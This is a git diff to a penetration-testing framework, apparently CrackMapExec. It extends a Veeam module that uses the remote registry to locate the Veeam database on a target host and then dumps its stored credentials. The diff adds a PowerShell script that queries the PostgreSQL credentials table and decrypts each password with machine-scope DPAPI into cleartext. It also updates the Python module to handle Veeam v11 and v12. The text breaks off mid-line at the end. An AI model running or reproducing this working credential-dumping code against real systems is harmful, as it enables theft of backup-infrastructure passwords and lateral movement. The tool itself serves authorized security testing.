diff --git a/cme/data/veeam_dump_module/veeam-creds_dump.ps1 b/cme/data/veeam_dump_module/veeam_dump_mssql.ps1 similarity index 89% rename from cme/data/veeam_dump_module/veeam-creds_dump.ps1 rename to cme/data/veeam_dump_module/veeam_dump_mssql.ps1 index 6b766edb..3eabaaed 100644 --- a/cme/data/veeam_dump_module/veeam-creds_dump.ps1 +++ b/cme/data/veeam_dump_module/veeam_dump_mssql.ps1 @@ -3,7 +3,7 @@ $SqlServerName = "REPLACE_ME_SqlServer" $SqlInstanceName = "REPLACE_ME_SqlInstance" #Forming the connection string -$SQL = "SELECT [user_name] AS 'User name',[password] AS 'Password' FROM [$SqlDatabaseName].[dbo].[Credentials] WHERE password <> ''" #Filter empty passwords +$SQL = "SELECT [user_name] AS 'User',[password] AS 'Password' FROM [$SqlDatabaseName].[dbo].[Credentials] WHERE password <> ''" #Filter empty passwords $auth = "Integrated Security=SSPI;" #Local user $connectionString = "Provider=sqloledb; Data Source=$SqlServerName\$SqlInstanceName; Initial Catalog=$SqlDatabaseName; $auth;" $connection = New-Object System.Data.OleDb.OleDbConnection $connectionString diff --git a/cme/data/veeam_dump_module/veeam_dump_postgresql.ps1 b/cme/data/veeam_dump_module/veeam_dump_postgresql.ps1 new file mode 100644 index 00000000..62a78ef1 --- /dev/null +++ b/cme/data/veeam_dump_module/veeam_dump_postgresql.ps1 @@ -0,0 +1,22 @@ +$PostgreSqlExec = "REPLACE_ME_PostgreSqlExec" +$PostgresUserForWindowsAuth = "REPLACE_ME_PostgresUserForWindowsAuth" +$SqlDatabaseName = "REPLACE_ME_SqlDatabaseName" + +$SQLStatement = "SELECT user_name AS User,password AS Password FROM credentials WHERE password != '';" +$output = . $PostgreSqlExec -U $PostgresUserForWindowsAuth -w -d $SqlDatabaseName -c $SQLStatement --csv | ConvertFrom-Csv + +if ($output.count -eq 0) { + Write-Host "No passwords found!" + exit +} + +Add-Type -assembly System.Security +#Decrypting passwords using DPAPI +$output | ForEach-Object -Process { + $EnryptedPWD = [Convert]::FromBase64String($_.password) + $ClearPWD = [System.Security.Cryptography.ProtectedData]::Unprotect( $EnryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine ) + $enc = [system.text.encoding]::Default + $_.password = $enc.GetString($ClearPWD) +} + +Write-Output $output | Format-Table -HideTableHeaders | Out-String \ No newline at end of file diff --git a/cme/modules/veeam_dump.py b/cme/modules/veeam_dump.py index b8c850cc..28b02792 100644 --- a/cme/modules/veeam_dump.py +++ b/cme/modules/veeam_dump.py @@ -13,8 +13,7 @@ from cme.helpers.powershell import get_ps_script class CMEModule: """ - Module by @NeffIsBack - + Module by @NeffIsBack, @Marshall-Hallenbeck """ name = "veeam" @@ -24,8 +23,10 @@ class CMEModule: multiple_hosts = True def __init__(self): - with open(get_ps_script("veeam_dump_module/veeam-creds_dump.ps1"), "r") as psFile: - self.psScript = psFile.read() + with open(get_ps_script("veeam_dump_module/veeam_dump_mssql.ps1"), "r") as psFile: + self.psScriptMssql = psFile.read() + with open(get_ps_script("veeam_dump_module/veeam_dump_postgresql.ps1"), "r") as psFile: + self.psScriptPostgresql = psFile.read() def options(self, context, module_options): """ @@ -35,10 +36,17 @@ class CMEModule: def checkVeeamInstalled(self, context, connection): context.log.display("Looking for Veeam installation...") + + # MsSql SqlDatabase = "" SqlInstance = "" SqlServer = "" + # PostgreSql + PostgreSqlExec = "" + PostgresUserForWindowsAuth = "" + SqlDatabaseName = "" + try: remoteOps = RemoteOperations(connection.conn, False) remoteOps.enableRegistry() @@ -46,37 +54,96 @@ class CMEModule: ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp) regHandle = ans["phKey"] - ans = rrp.hBaseRegOpenKey( - remoteOps._RemoteOperations__rrp, - regHandle, - "SOFTWARE\\Veeam\\Veeam Backup and Replication", - ) - keyHandle = ans["phkResult"] + # Veeam v12 check + try: + ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, "SOFTWARE\\Veeam\\Veeam Backup and Replication\\DatabaseConfigurations",) + keyHandle = ans["phkResult"] - SqlDatabase = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlDatabaseName")[1].split("\x00")[:-1][0] - SqlInstance = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlInstanceName")[1].split("\x00")[:-1][0] - SqlServer = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlServerName")[1].split("\x00")[:-1][0] + database_config = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlActiveConfiguration")[1].split("\x00")[:-1][0] - except DCERPCException as e: - if str(e).find("ERROR_FILE_NOT_FOUND"): - context.log.fail("No Veeam installation found") - except: - context.log.fail("UNEXPECTED ERROR:") - traceback.print_exc() + context.log.success("Veeam v12 installation found!") + if database_config == "PostgreSql": + # Find the PostgreSql installation path containing "psql.exe" + ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, "SOFTWARE\\PostgreSQL Global Development Group\\PostgreSQL",) + keyHandle = ans["phkResult"] + PostgreSqlExec = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "Location")[1].split("\x00")[:-1][0] + "\\bin\\psql.exe" + + ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, "SOFTWARE\\Veeam\\Veeam Backup and Replication\\DatabaseConfigurations\\PostgreSQL",) + keyHandle = ans["phkResult"] + PostgresUserForWindowsAuth = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "PostgresUserForWindowsAuth")[1].split("\x00")[:-1][0] + SqlDatabaseName = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlDatabaseName")[1].split("\x00")[:-1][0] + elif database_config == "MsSql": + ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, "SOFTWARE\\Veeam\\Veeam Backup and Replication\\DatabaseConfigurations\\MsSql",) + keyHandle = ans["phkResult"] + + SqlDatabase = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlDatabaseName")[1].split("\x00")[:-1][0] + SqlInstance = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlInstanceName")[1].split("\x00")[:-1][0] + SqlServer = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlServerName")[1].split("\x00")[:-1][0] + except DCERPCException as e: + if str(e).find("ERROR_FILE_NOT_FOUND"): + context.log.debug("No Veeam v12 installation found") + except Exception as e: + context.log.fail(f"UNEXPECTED ERROR: {e}") + context.log.debug(traceback.format_exc()) + + # Veeam v11 check + try: + ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, "SOFTWARE\\Veeam\\Veeam Backup and Replication",) + keyHandle = ans["phkResult"] + + SqlDatabase = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlDatabaseName")[1].split("\x00")[:-1][0] + SqlInstance = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlInstanceName")[1].split("\x00")[:-1][0] + SqlServer = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlServerName")[1].split("\x00")[:-1][0] + + context.log.success("Veeam v11 installation found!") + except DCERPCException as e: + if str(e).find("ERROR_FILE_NOT_FOUND"): + context.log.debug("No Veeam v11 installation found") + except Exception as e: + context.log.fail(f"UNEXPECTED ERROR: {e}") + context.log.debug(traceback.format_exc()) + + except NotImplementedError as e: + pass + except Exception as e: + context.log.fail(f"UNEXPECTED ERROR: {e}") + context.log.debug(traceback.format_exc()) finally: - remoteOps.finish() - return [SqlDatabase, SqlInstance, SqlServer] + try: + remoteOps.finish() + except Exception as e: + context.log.debug(f"Error shutting down remote registry service: {e}") + + # Check if we found an SQL Server of some kind + if SqlDatabase and SqlInstance and SqlServer: + context.log.success(f'Found Veeam DB "{SqlDatabase}" on SQL Server "{SqlServer}\\{SqlInstance}"! Extracting stored credentials...') + credentials = self.executePsMssql(context, connection, SqlDatabase, SqlInstance, SqlServer) + self.printCreds(context, credentials) + elif PostgreSqlExec and PostgresUserForWindowsAuth and SqlDatabaseName: + context.log.success(f'Found Veeam DB "{SqlDatabaseName}" on an PostgreSQL Instance! Extracting stored credentials...') + credentials = self.executePsPostgreSql(context, connection, PostgreSqlExec, PostgresUserForWindowsAuth, SqlDatabaseName) + self.printCreds(context, credentials) def stripXmlOutput(self, context, output): return output.split("CLIXML")[1].split("